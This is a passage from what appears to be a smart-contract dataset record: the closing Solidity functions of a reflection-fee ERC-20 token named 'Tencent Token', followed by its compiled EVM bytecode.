(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600d81526020017f54656e63656e7420546f6b656e00000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f54454e43454e54efb88f00000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f206164647265737353616665